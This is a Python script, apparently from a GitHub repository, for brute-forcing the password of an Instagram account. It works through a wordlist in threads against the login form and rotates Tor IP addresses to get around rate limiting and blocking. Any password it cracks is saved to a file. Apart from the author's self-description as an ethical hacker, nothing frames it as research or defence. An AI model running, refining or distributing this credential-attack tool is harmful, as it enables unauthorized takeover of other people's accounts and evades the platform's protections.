-
Notifications
You must be signed in to change notification settings - Fork 0
/
hackin.py
207 lines (175 loc) · 5.08 KB
/
hackin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
# Date: 22/09/2019
# Distro: Kali Linux
# Author: Ethical-H4CK3R - gotarsi
# Description: Bruteforce Instagram
# version 2.0
#
import os
import time
import urllib
import argparse
import threading
import subprocess
from platform import platform
from Core.tor import TorManager
from Core.browser import Browser
class Instagram(TorManager,Browser):
def __init__(self,username,wordlist):
self.username = username
self.wordlist = wordlist
self.lock = threading.Lock()
self.ip = None # current ip address
self.tries = 0
self.wait = False # wait for connection
self.alive = True # is bruter still running
self.isFound = False # is the password found?
self.passlist = [] # temporary storage; holds a max of 10 passwords
self.recentIps = [] # temporary storage; holds a max of 5 ip addresses
# for browser
self.url = 'https://www.instagram.com/accounts/login/?force_classic_login'
self.form1 = 'username'
self.form2 = 'password'
Browser.__init__(self)
TorManager.__init__(self)
self.n = '\033[0m' # null ---> reset
self.r = '\033[31m' # red
self.g = '\033[32m' # green
self.y = '\033[33m' # yellow
self.b = '\033[34m' # blue
def kill(self,msg=None):
self.alive = False
self.stopTor()
try:
if self.isFound:
self.display(msg)
print ' [-] Password Encontrado'
with open('Cracked.txt','a') as f:
f.write('[-] Username: {}\n[-] Password: {}\n\n'.\
format(self.username,msg))
if all([not self.isFound, msg]):
print '\n [-] {}'.format(msg)
finally:exit()
def modifylist(self):
if len(self.recentIps) == 5: # 5
del self.recentIps[0]
# failsafe
if len(self.recentIps) > 5: #5
while all([len(self.recentIps) > 4]):
del self.recentIps[0]
def manageIps(self,rec=2):
ip = self.getIp()
if ip:
if ip in self.recentIps:
self.updateIp()
self.manageIps()
self.ip = ip
self.recentIps.append(ip)
else:
if rec:
self.updateIp()
self.manageIps(rec-1)
else:
self.connectionHandler()
def changeIp(self):
self.createBrowser()
self.updateIp()
self.manageIps()
self.modifylist()
self.deleteBrowser()
def setupPasswords(self):
with open(self.wordlist,'r') as passwords:
for pwd in passwords:
pwd = pwd.replace('\n','')
if len(self.passlist) < 10: # Modificar segun cantidad del diccionario
self.passlist.append(pwd)
else:
while all([self.alive,len(self.passlist)]):pass
if not len(self.passlist): # just making sure, because self.alive could be false
self.passlist.append(pwd)
# done reading file
while self.alive:
if not len(self.passlist):
self.alive = False
def connectionHandler(self):
if self.wait:return
self.wait = True
print ' [-] Esperando por conexion {}...{}'.format(self.g,self.n)
while all([self.alive,self.wait]):
try:
self.updateIp()
urllib.urlopen('https://wtfismyip.com/text')
self.wait = False
break
except IOError:
time.sleep(1.5)
self.manageIps()
def attempt(self,pwd):
with self.lock:
self.tries+=1
self.createBrowser()
html = self.login(pwd)
self.deleteBrowser()
if html:
if all([not self.form1 in html,not self.form2 in html]):
self.isFound = True
self.kill(pwd)
del self.passlist[self.passlist.index(pwd)]
def run(self):
self.display()
time.sleep(1.3)
threading.Thread(target=self.setupPasswords).start()
while self.alive:
bot = None # workers
for pwd in self.passlist:
bot = threading.Thread(target=self.attempt,args=[pwd])
bot.start()
# wait for bot
if bot:
while all([self.alive,bot.is_alive()]):pass
if self.alive:
self.changeIp()
def display(self,pwd=None):
pwd = pwd if pwd else ''
ip = self.ip if self.ip else ''
creds = self.r if not self.isFound else self.g # credentials color
attempts = self.tries if self.tries else ''
subprocess.call(['clear'])
print ''
print ' +------ Instagram ------+'
print ' [-] Usuario : {}{}{}'.format(creds,self.username.title(),self.n)
print ' [-] Password: {}{}{}'.format(creds,pwd,self.n)
print ' [-] Proxy IP: {}{}{}'.format(self.b,ip,self.n)
print ' [-] Intentos: {}{}{}'.format(self.y,attempts,self.n)
print ''
if not ip:
print ' [-] Obteniendo Proxy IP {}...{}'.format(self.g,self.n)
self.changeIp()
time.sleep(1.3)
self.display()
def main():
# assign arugments
args = argparse.ArgumentParser()
args.add_argument('username',help='Email or username')
args.add_argument('wordlist',help='wordlist')
args = args.parse_args()
# assign variables
engine = Instagram(args.username,args.wordlist)
# does tor exists?
if not os.path.exists('/usr/sbin/tor'):
try:engine.installTor()
except KeyboardInterrupt:engine.kill('Saliendo {}...{}'.format(self.g,self.n))
if not os.path.exists('/usr/sbin/tor'):
engine.kill('Por Favor Instalar Tor'.format(engine.y,engine.r,engine.n))
# start attack
try:
engine.run()
finally:
if not engine.isFound:
engine.kill('Saliendo {}...{}'.format(engine.g,engine.n))
if __name__ == '__main__':
if not 'kali' in platform():
exit('Kali Linux required')
if os.getuid():
exit('root access required')
else:
main()